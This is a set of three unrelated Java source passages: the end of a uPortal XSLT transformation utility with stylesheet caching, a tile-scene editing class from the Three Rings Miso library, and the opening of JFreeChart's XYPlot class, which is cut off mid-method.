* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a string writer
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, StringWriter, Hashtable, String, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, StringWriter out, Hashtable stylesheetParams, String stylesheetTitle, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, media));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a string writer
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, StringWriter out, Hashtable stylesheetParams, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, browserInfo));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetTitle the title that identifies the stylsheet in the stylesheet list file (.ssl)
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, DocumentHandler, String, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, String stylesheetTitle, String media) throws SAXException,
IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, (Hashtable)null, stylesheetTitle, media);
}
/**
* Performs an XSL transformation.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetTitle the title that identifies the stylsheet in the stylesheet list file (.ssl)
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, (Hashtable)null, stylesheetTitle, browserInfo);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, DocumentHandler, Hashtable, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, stylesheetParams, (String)null, media);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, stylesheetParams, (String)null, browserInfo);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a StringWriter
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, StringWriter, Hashtable, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, StringWriter out, Hashtable stylesheetParams, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, stylesheetParams, (String)null, media);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a StringWriter
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, StringWriter out, Hashtable stylesheetParams, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, stylesheetParams, (String)null, browserInfo);
}
/**
* Performs an XSL transformation.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, DocumentHandler, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, (Hashtable)null, (String)null, media);
}
/**
* Performs an XSL transformation.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xmlDoc, sslUri, out, (Hashtable)null, (String)null, browserInfo);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param xslUri the URI of the stylesheet file (.xsl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
*/
public static void transform (String xml, URL xslUri, DocumentHandler out, Hashtable stylesheetParams) throws SAXException, IOException, ResourceMissingException {
XSLTInputSource xmlSource = new XSLTInputSource(new StringReader(xml));
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
StylesheetRoot stylesheetRoot = getStylesheetRoot(xslUri.toExternalForm());
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation.
* @param xml a string representing the xml document
* @param xslUri the URI of the stylesheet file
* @param out a document handler
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
*/
public static void transform (String xml, URL xslUri, DocumentHandler out) throws SAXException, IOException, ResourceMissingException {
transform(xml, xslUri, out, (Hashtable)null);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param xslUri the URI of the stylesheet file (.xsl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
*/
public static void transform (Document xmlDoc, URL xslUri, DocumentHandler out, Hashtable stylesheetParams) throws SAXException, IOException, ResourceMissingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(xslUri.toExternalForm());
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param xslUri the URI of the stylesheet file (.xsl)
* @param out a string writer
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
*/
public static void transform (Document xmlDoc, URL xslUri, StringWriter out, Hashtable stylesheetParams) throws SAXException, IOException, ResourceMissingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(xslUri.toExternalForm());
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param xslUri the URI of the stylesheet file (.xsl)
* @param out a document handler
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
*/
public static void transform (Document xmlDoc, URL xslUri, DocumentHandler out) throws SAXException, IOException, ResourceMissingException {
transform(xmlDoc, xslUri, out, (Hashtable)null);
}
/**
* Extracts name/value pairs from a Hashtable and uses them to create stylesheet parameters
* @param processor the XSLT processor
* @param stylesheetParams name/value pairs used as stylesheet parameters
*/
private static void setStylesheetParams (XSLTProcessor processor, Hashtable stylesheetParams) {
if (stylesheetParams != null) {
Enumeration e = stylesheetParams.keys();
while (e.hasMoreElements()) {
String key = (String)e.nextElement();
Object o = stylesheetParams.get(key);
if (o instanceof String) {
processor.setStylesheetParam(key, processor.createXString((String)o));
}
else if (o.getClass().getName().equals("[Ljava.lang.String;")) {
// This situation occurs for some requests from cell phones
String[] sa = (String[])o;
processor.setStylesheetParam(key, processor.createXString(sa[0]));
}
else if (o instanceof Boolean) {
processor.setStylesheetParam(key, processor.createXBoolean(((Boolean)o).booleanValue()));
}
else if (o instanceof Double) {
processor.setStylesheetParam(key, processor.createXNumber(((Double)o).doubleValue()));
}
}
}
}
/**
* This method caches compiled stylesheet objects, keyed by the stylesheet's URI.
* @param stylesheetURI the URI of the XSLT stylesheet
* @return the StlyesheetRoot object
* @exception SAXException, ResourceMissingException
*/
public static StylesheetRoot getStylesheetRoot (String stylesheetURI) throws SAXException, ResourceMissingException {
// First, check the cache...
StylesheetRoot stylesheetRoot = (StylesheetRoot)stylesheetRootCache.get(stylesheetURI);
if (stylesheetRoot == null) {
// Get the StylesheetRoot and cache it
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
stylesheetRoot = processor.processStylesheet(stylesheetURI);
if (cacheEnabled) {
stylesheetRootCache.put(stylesheetURI, stylesheetRoot);
LogService.instance().log(LogService.INFO, "Caching StylesheetRoot for: " + stylesheetURI);
}
}
return stylesheetRoot;
}
}
|
// $Id: EditableMisoSceneImpl.java,v 1.14 2002/04/06 02:43:34 ray Exp $
package com.threerings.miso.scene.tools;
import java.awt.Rectangle;
import java.util.Iterator;
import com.samskivert.util.HashIntMap;
import com.threerings.media.tile.NoSuchTileException;
import com.threerings.media.tile.NoSuchTileSetException;
import com.threerings.media.tile.ObjectTile;
import com.threerings.media.tile.Tile;
import com.threerings.miso.Log;
import com.threerings.miso.tile.AutoFringer;
import com.threerings.miso.tile.BaseTile;
import com.threerings.miso.tile.MisoTileManager;
import com.threerings.miso.scene.DisplayMisoSceneImpl;
import com.threerings.miso.scene.MisoSceneModel;
import com.threerings.miso.scene.util.IsoUtil;
/**
* The default implementation of the {@link EditableMisoScene} interface.
*/
public class EditableMisoSceneImpl
extends DisplayMisoSceneImpl implements EditableMisoScene
{
/**
* Constructs an instance that will be used to display and edit the
* supplied miso scene data. The tiles identified by the scene model
* will be loaded via the supplied tile manager.
*
* @param model the scene data that we'll be displaying.
* @param tmgr the tile manager from which to load our tiles.
*
* @exception NoSuchTileException thrown if the model references a
* tile which is not available via the supplied tile manager.
*/
public EditableMisoSceneImpl (MisoSceneModel model, MisoTileManager tmgr)
throws NoSuchTileException, NoSuchTileSetException
{
super(model, tmgr);
_fringer = tmgr.getAutoFringer();
unpackObjectLayer();
}
/**
* Constructs an instance that will be used to display and edit the
* supplied miso scene data. The tiles identified by the scene model
* will not be loaded until a tile manager is provided via {@link
* #setTileManager}.
*
* @param model the scene data that we'll be displaying.
*/
public EditableMisoSceneImpl (MisoSceneModel model)
{
super(model);
unpackObjectLayer();
}
// documentation inherited
public void setMisoSceneModel (MisoSceneModel model)
{
super.setMisoSceneModel(model);
unpackObjectLayer();
}
// documentation inherited
public BaseTile getDefaultBaseTile ()
{
return _defaultBaseTile;
}
// documentation inherited
public void setDefaultBaseTile (BaseTile defaultBaseTile, int fqTileId)
{
_defaultBaseTile = defaultBaseTile;
_defaultBaseTileId = fqTileId;
}
// documentation inherited
public void setBaseTiles (Rectangle r, BaseTile tile, int fqTileId)
{
for (int x = r.x; x < r.x + r.width; x++) {
for (int y = r.y; y < r.y + r.height; y++) {
_base.setTile(x, y, tile);
_model.baseTileIds[_model.width*y + x] = fqTileId;
}
}
_fringer.fringe(_model, _fringe, r);
}
// documentation inherited
public void setBaseTile (int x, int y, BaseTile tile, int fqTileId)
{
setBaseTiles(new Rectangle(x, y, 1, 1), tile, fqTileId);
}
// documentation inherited
public void setFringeTile (int x, int y, Tile tile, int fqTileId)
{
_fringe.setTile(x, y, tile);
// update the model as well
_model.fringeTileIds[_model.width*y + x] = fqTileId;
}
// documentation inherited
public void setObjectTile (int x, int y, ObjectTile tile, int fqTileId)
{
ObjectTile prev = _object.getTile(x, y);
// clear out any previous tile to ensure that everything is
// properly cleaned up
if (prev != null) {
clearObjectTile(x, y);
}
// stick the new object into the layer
_object.setTile(x, y, tile);
// toggle the "covered" flag on in all base tiles below this
// object tile
setObjectTileFootprint(tile, x, y, true);
// stick this value into our non-sparse object layer
_objectTileIds.put(IsoUtil.coordsToKey(x, y), new Integer(fqTileId));
}
// documentation inherited from interface
public void setObjectAction (int x, int y, String action)
{
_actions.put(objectKey(x, y), action);
}
// documentation inherited
public void clearBaseTile (int x, int y)
{
_base.setTile(x, y, _defaultBaseTile);
// clear it out in the model
_model.baseTileIds[_model.width*y + x] = _defaultBaseTileId;
}
// documentation inherited
public void clearFringeTile (int x, int y)
{
_fringe.setTile(x, y, null);
// clear it out in the model
_model.fringeTileIds[_model.width*y + x] = 0;
}
// documentation inherited
public void clearObjectTile (int x, int y)
{
ObjectTile tile = _object.getTile(x, y);
if (tile != null) {
// toggle the "covered" flag off on the base tiles in this
// object tile's footprint
setObjectTileFootprint(tile, x, y, false);
// clear out the tile itself
_object.clearTile(x, y);
}
// clear it out in our non-sparse array
_objectTileIds.remove(IsoUtil.coordsToKey(x, y));
// clear out any action for this tile as well
_actions.remove(objectKey(x, y));
}
// documentation inherited from interface
public void clearObjectAction (int x, int y)
{
_actions.remove(objectKey(x, y));
}
// documentation inherited
public MisoSceneModel getMisoSceneModel ()
{
// we need to flush the object layer to the model prior to
// returning it
int otileCount = _objectTileIds.size();
int cols = _object.getWidth();
int rows = _object.getHeight();
// now create and populate the new tileid and actions arrays
int[] otids = new int[otileCount*3];
String[] actions = new String[otileCount];
int otidx = 0, actidx = 0;
Iterator keys = _objectTileIds.keys();
while (keys.hasNext()) {
int key = ((Integer) keys.next()).intValue();
int c = IsoUtil.xCoordFromKey(key);
int r = IsoUtil.yCoordFromKey(key);
otids[otidx++] = c;
otids[otidx++] = r;
otids[otidx++] = ((Integer) _objectTileIds.get(key)).intValue();
actions[actidx++] = (String)_actions.get(objectKey(c, r));
}
// stuff the new arrays into the model
_model.objectTileIds = otids;
_model.objectActions = actions;
// and we're ready to roll
return _model;
}
/**
* Unpacks the object layer into an array that we can update along
* with the other layers.
*/
protected void unpackObjectLayer ()
{
// we need this to track object layer mods
_objectTileIds = new HashIntMap();
// populate our non-spare array
int[] otids = _model.objectTileIds;
for (int i = 0; i < otids.length; i += 3) {
int x = otids[i];
int y = otids[i+1];
int fqTileId = otids[i+2];
_objectTileIds.put(IsoUtil.coordsToKey(x, y),
new Integer(fqTileId));
}
}
/** where we keep track of object tile ids. */
protected HashIntMap _objectTileIds;
/** The default tile with which to fill the base layer. */
protected BaseTile _defaultBaseTile;
/** The fully qualified tile id of the default base tile. */
protected int _defaultBaseTileId;
/** The autofringer. */
protected AutoFringer _fringer;
}
|
package org.jfree.chart.plot;
import java.awt.AlphaComposite;
import java.awt.BasicStroke;
import java.awt.Color;
import java.awt.Composite;
import java.awt.Graphics2D;
import java.awt.Paint;
import java.awt.Shape;
import java.awt.Stroke;
import java.awt.geom.Line2D;
import java.awt.geom.Point2D;
import java.awt.geom.Rectangle2D;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.ResourceBundle;
import java.util.Set;
import java.util.TreeMap;
import org.jfree.chart.LegendItem;
import org.jfree.chart.LegendItemCollection;
import org.jfree.chart.annotations.XYAnnotation;
import org.jfree.chart.axis.Axis;
import org.jfree.chart.axis.AxisCollection;
import org.jfree.chart.axis.AxisLocation;
import org.jfree.chart.axis.AxisSpace;
import org.jfree.chart.axis.AxisState;
import org.jfree.chart.axis.ValueAxis;
import org.jfree.chart.axis.ValueTick;
import org.jfree.chart.event.ChartChangeEventType;
import org.jfree.chart.event.PlotChangeEvent;
import org.jfree.chart.event.RendererChangeEvent;
import org.jfree.chart.event.RendererChangeListener;
import org.jfree.chart.renderer.RendererUtilities;
import org.jfree.chart.renderer.xy.AbstractXYItemRenderer;
import org.jfree.chart.renderer.xy.XYItemRenderer;
import org.jfree.chart.renderer.xy.XYItemRendererState;
import org.jfree.data.Range;
import org.jfree.data.general.Dataset;
import org.jfree.data.general.DatasetChangeEvent;
import org.jfree.data.general.DatasetUtilities;
import org.jfree.data.xy.XYDataset;
import org.jfree.io.SerialUtilities;
import org.jfree.ui.Layer;
import org.jfree.ui.RectangleEdge;
import org.jfree.ui.RectangleInsets;
import org.jfree.util.ObjectList;
import org.jfree.util.ObjectUtilities;
import org.jfree.util.PaintUtilities;
import org.jfree.util.PublicCloneable;
/**
* A general class for plotting data in the form of (x, y) pairs. This plot can
* use data from any class that implements the {@link XYDataset} interface.
* <P>
* <code>XYPlot</code> makes use of an {@link XYItemRenderer} to draw each point
* on the plot. By using different renderers, various chart types can be
* produced.
* <p>
* The {@link org.jfree.chart.ChartFactory} class contains static methods for
* creating pre-configured charts.
*/
public class XYPlot extends Plot implements ValueAxisPlot,
Zoomable,
RendererChangeListener,
Cloneable, PublicCloneable,
Serializable {
/** For serialization. */
private static final long serialVersionUID = 7044148245716569264L;
/** The default grid line stroke. */
public static final Stroke DEFAULT_GRIDLINE_STROKE = new BasicStroke(0.5f,
BasicStroke.CAP_BUTT, BasicStroke.JOIN_BEVEL, 0.0f,
new float[] {2.0f, 2.0f}, 0.0f);
/** The default grid line paint. */
public static final Paint DEFAULT_GRIDLINE_PAINT = Color.lightGray;
/** The default crosshair visibility. */
public static final boolean DEFAULT_CROSSHAIR_VISIBLE = false;
/** The default crosshair stroke. */
public static final Stroke DEFAULT_CROSSHAIR_STROKE
= DEFAULT_GRIDLINE_STROKE;
/** The default crosshair paint. */
public static final Paint DEFAULT_CROSSHAIR_PAINT = Color.blue;
/** The resourceBundle for the localization. */
protected static ResourceBundle localizationResources
= ResourceBundle.getBundle(
"org.jfree.chart.plot.LocalizationBundle");
/** The plot orientation. */
private PlotOrientation orientation;
/** The offset between the data area and the axes. */
private RectangleInsets axisOffset;
/** The domain axis / axes (used for the x-values). */
private ObjectList domainAxes;
/** The domain axis locations. */
private ObjectList domainAxisLocations;
/** The range axis (used for the y-values). */
private ObjectList rangeAxes;
/** The range axis location. */
private ObjectList rangeAxisLocations;
/** Storage for the datasets. */
private ObjectList datasets;
/** Storage for the renderers. */
private ObjectList renderers;
/**
* Storage for keys that map datasets/renderers to domain axes. If the
* map contains no entry for a dataset, it is assumed to map to the
* primary domain axis (index = 0).
*/
private Map datasetToDomainAxisMap;
/**
* Storage for keys that map datasets/renderers to range axes. If the
* map contains no entry for a dataset, it is assumed to map to the
* primary domain axis (index = 0).
*/
private Map datasetToRangeAxisMap;
/** The origin point for the quadrants (if drawn). */
private transient Point2D quadrantOrigin = new Point2D.Double(0.0, 0.0);
/** The paint used for each quadrant. */
private transient Paint[] quadrantPaint
= new Paint[] {null, null, null, null};
/** A flag that controls whether the domain grid-lines are visible. */
private boolean domainGridlinesVisible;
/** The stroke used to draw the domain grid-lines. */
private transient Stroke domainGridlineStroke;
/** The paint used to draw the domain grid-lines. */
private transient Paint domainGridlinePaint;
/** A flag that controls whether the range grid-lines are visible. */
private boolean rangeGridlinesVisible;
/** The stroke used to draw the range grid-lines. */
private transient Stroke rangeGridlineStroke;
/** The paint used to draw the range grid-lines. */
private transient Paint rangeGridlinePaint;
/**
* A flag that controls whether or not the zero baseline against the domain
* axis is visible.
*
* @since 1.0.5
*/
private boolean domainZeroBaselineVisible;
/**
* The stroke used for the zero baseline against the domain axis.
*
* @since 1.0.5
*/
private transient Stroke domainZeroBaselineStroke;
/**
* The paint used for the zero baseline against the domain axis.
*
* @since 1.0.5
*/
private transient Paint domainZeroBaselinePaint;
/**
* A flag that controls whether or not the zero baseline against the range
* axis is visible.
*/
private boolean rangeZeroBaselineVisible;
/** The stroke used for the zero baseline against the range axis. */
private transient Stroke rangeZeroBaselineStroke;
/** The paint used for the zero baseline against the range axis. */
private transient Paint rangeZeroBaselinePaint;
/** A flag that controls whether or not a domain crosshair is drawn..*/
private boolean domainCrosshairVisible;
/** The domain crosshair value. */
private double domainCrosshairValue;
/** The pen/brush used to draw the crosshair (if any). */
private transient Stroke domainCrosshairStroke;
/** The color used to draw the crosshair (if any). */
private transient Paint domainCrosshairPaint;
/**
* A flag that controls whether or not the crosshair locks onto actual
* data points.
*/
private boolean domainCrosshairLockedOnData = true;
/** A flag that controls whether or not a range crosshair is drawn..*/
private boolean rangeCrosshairVisible;
/** The range crosshair value. */
private double rangeCrosshairValue;
/** The pen/brush used to draw the crosshair (if any). */
private transient Stroke rangeCrosshairStroke;
/** The color used to draw the crosshair (if any). */
private transient Paint rangeCrosshairPaint;
/**
* A flag that controls whether or not the crosshair locks onto actual
* data points.
*/
private boolean rangeCrosshairLockedOnData = true;
/** A map of lists of foreground markers (optional) for the domain axes. */
private Map foregroundDomainMarkers;
/** A map of lists of background markers (optional) for the domain axes. */
private Map backgroundDomainMarkers;
/** A map of lists of foreground markers (optional) for the range axes. */
private Map foregroundRangeMarkers;
/** A map of lists of background markers (optional) for the range axes. */
private Map backgroundRangeMarkers;
/**
* A (possibly empty) list of annotations for the plot. The list should
* be initialised in the constructor and never allowed to be
* <code>null</code>.
*/
private List annotations;
/** The paint used for the domain tick bands (if any). */
private transient Paint domainTickBandPaint;
/** The paint used for the range tick bands (if any). */
private transient Paint rangeTickBandPaint;
/** The fixed domain axis space. */
private AxisSpace fixedDomainAxisSpace;
/** The fixed range axis space. */
private AxisSpace fixedRangeAxisSpace;
/**
* The order of the dataset rendering (REVERSE draws the primary dataset
* last so that it appears to be on top).
*/
private DatasetRenderingOrder datasetRenderingOrder
= DatasetRenderingOrder.REVERSE;
/**
* The order of the series rendering (REVERSE draws the primary series
* last so that it appears to be on top).
*/
private SeriesRenderingOrder seriesRenderingOrder
= SeriesRenderingOrder.REVERSE;
/**
* The weight for this plot (only relevant if this is a subplot in a
* combined plot).
*/
private int weight;
/**
* An optional collection of legend items that can be returned by the
* getLegendItems() method.
*/
private LegendItemCollection fixedLegendItems;
/**
* Creates a new <code>XYPlot</code> instance with no dataset, no axes and
* no renderer. You should specify these items before using the plot.
*/
public XYPlot() {
this(null, null, null, null);
}
/**
* Creates a new plot with the specified dataset, axes and renderer. Any
* of the arguments can be <code>null</code>, but in that case you should
* take care to specify the value before using the plot (otherwise a
* <code>NullPointerException</code> may be thrown).
*
* @param dataset the dataset (<code>null</code> permitted).
* @param domainAxis the domain axis (<code>null</code> permitted).
* @param rangeAxis the range axis (<code>null</code> permitted).
* @param renderer the renderer (<code>null</code> permitted).
*/
public XYPlot(XYDataset dataset,
ValueAxis domainAxis,
ValueAxis rangeAxis,
XYItemRenderer renderer) {
super();
this.orientation = PlotOrientation.VERTICAL;
this.weight = 1; // only relevant when this is a subplot
this.axisOffset = RectangleInsets.ZERO_INSETS;
// allocate storage for datasets, axes and renderers (all optional)
this.domainAxes = new ObjectList();
this.domainAxisLocations = new ObjectList();
this.foregroundDomainMarkers = new HashMap();
this.backgroundDomainMarkers = new HashMap();
this.rangeAxes = new ObjectList();
this.rangeAxisLocations = new ObjectList();
this.foregroundRangeMarkers = new HashMap();
this.backgroundRangeMarkers = new HashMap();
this.datasets = new ObjectList();
this.renderers = new ObjectList();
this.datasetToDomainAxisMap = new TreeMap();
this.datasetToRangeAxisMap = new TreeMap();
this.datasets.set(0, dataset);
if (dataset != null) {
dataset.addChangeListener(this);
}
this.renderers.set(0, renderer);
if (renderer != null) {
renderer.setPlot(this);
renderer.addChangeListener(this);
}
this.domainAxes.set(0, domainAxis);
this.mapDatasetToDomainAxis(0, 0);
if (domainAxis != null) {
domainAxis.setPlot(this);
domainAxis.addChangeListener(this);
}
this.domainAxisLocations.set(0, AxisLocation.BOTTOM_OR_LEFT);
this.rangeAxes.set(0, rangeAxis);
this.mapDatasetToRangeAxis(0, 0);
if (rangeAxis != null) {
rangeAxis.setPlot(this);
rangeAxis.addChangeListener(this);
}
this.rangeAxisLocations.set(0, AxisLocation.BOTTOM_OR_LEFT);
configureDomainAxes();
configureRangeAxes();
this.domainGridlinesVisible = true;
this.domainGridlineStroke = DEFAULT_GRIDLINE_STROKE;
this.domainGridlinePaint = DEFAULT_GRIDLINE_PAINT;
this.domainZeroBaselineVisible = false;
this.domainZeroBaselinePaint = Color.black;
this.domainZeroBaselineStroke = new BasicStroke(0.5f);
this.rangeGridlinesVisible = true;
this.rangeGridlineStroke = DEFAULT_GRIDLINE_STROKE;
this.rangeGridlinePaint = DEFAULT_GRIDLINE_PAINT;
this.rangeZeroBaselineVisible = false;
this.rangeZeroBaselinePaint = Color.black;
this.rangeZeroBaselineStroke = new BasicStroke(0.5f);
this.domainCrosshairVisible = false;
this.domainCrosshairValue = 0.0;
this.domainCrosshairStroke = DEFAULT_CROSSHAIR_STROKE;
this.domainCrosshairPaint = DEFAULT_CROSSHAIR_PAINT;
this.rangeCrosshairVisible = false;
this.rangeCrosshairValue = 0.0;
this.rangeCrosshairStroke = DEFAULT_CROSSHAIR_STROKE;
this.rangeCrosshairPaint = DEFAULT_CROSSHAIR_PAINT;
this.annotations = new java.util.ArrayList();
}
/**
* Returns the plot type as a string.
*
* @return A short string describing the type of plot.
*/
public String getPlotType() {
return localizationResources.getString("XY_Plot");
}
/**
* Returns the orientation of the plot.
*
* @return The orientation (never <code>null</code>).
*
* @see #setOrientation(PlotOrientation)
*/
public PlotOrientation getOrientation() {
return this.orientation;
}
/**
* Sets the orientation for the plot and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param orientation the orientation (<code>null</code> not allowed).
*
* @see #getOrientation()
*/
public void setOrientation(PlotOrientation orientation) {
if (orientation == null) {
throw new IllegalArgumentException("Null 'orientation' argument.");
}
if (orientation != this.orientation) {
this.orientation = orientation;
